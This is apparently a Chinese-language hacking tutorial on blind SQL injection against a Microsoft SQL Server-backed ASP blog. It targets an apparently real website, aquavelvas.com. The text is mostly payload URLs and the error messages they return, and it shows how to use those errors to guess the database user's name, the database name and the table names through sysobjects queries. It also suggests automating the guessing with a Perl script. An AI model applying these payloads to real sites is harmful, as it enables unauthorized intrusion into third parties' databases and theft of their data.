运用SQL Injection做数据库渗透的一种思路
如今,很多关于mssql数据库的渗透技巧已不能有效地获取有用的数据值。比如在一个怀疑是注入点的地方
www.xxxxx.com/blog.asp?id=4
当加入" ’ "符号进行注入测试时,
www.xxxxx.com/blog.asp?id=4’
出错信息是,
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ’4? to a column of data type int
我们知道它不对" ’ "符号进行过滤。再用如下语句测试,
http://www.aquavelvas.com/blog.asp?id=4 and 1=1
出错信息是,
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ’4 and 1=1’ to a column of data type int
好,再来继续测试,
http://www.aquavelvas.com/blog.asp?id=4'%20and%20'1'='1
这次出错讯息不同了,如下
[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ’ and ’
我们的" ’ "符号加对了,再继续测试,
http://www.aquavelvas.com/blog.asp?id=4'%20and%20user>’0
出错信息如下,
[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ’ and user>’
应该是语法不允许直接回值,是不是不能再继续了呢?想想其他办法,就看user值的长度吧,
http://www.aquavelvas.com/blog.asp?id=4'%20and%20len(user)>’0
出错信息是,
[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ’ and len(user)>’
好,我们知道如果出错信息是Syntax error...或Either BOF or EOF is True...的话,那语句在逻辑上是错的;而如果出错信息是Incorrect syntax...的话,那语句在逻辑上就是对的。当处理len(user)>0,凭着刚才的想法,我们知道在逻辑上这是对的。
我们试试逻辑上错的语句,
http://www.aquavelvas.com/blog.asp?id=4'%20and%20user%20'1'='2
果然,出错信息是,
Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record
从len(user)>0这语法的基础上,我们得知user的长度是7,之后再用left(user,1)=a这语法来猜出user名是thomasa。再用db_name()这个function,我们可猜出数据库名。
好了,如何猜表名呢?就先猜表名的长度吧,
就用如下语句,
len(select top 1 name from sysobjects where xtype=’U’)>10
len(select top 1 name from sysobjects where xtype=’U’)>9
len(select top 1 name from sysobjects where xtype=’U’)>8
...
(猜表名的工作是很烦人,建议用perl写个script来玩玩)
再猜表名,
left((select top 1 name from sysobjects where xtype=’U’),1)=a
left((select top 1 name from sysobjects where xtype=’U’),2)=ab
left((select top 1 name from sysobjects where xtype=’U’),3)=abc
- 最新评论
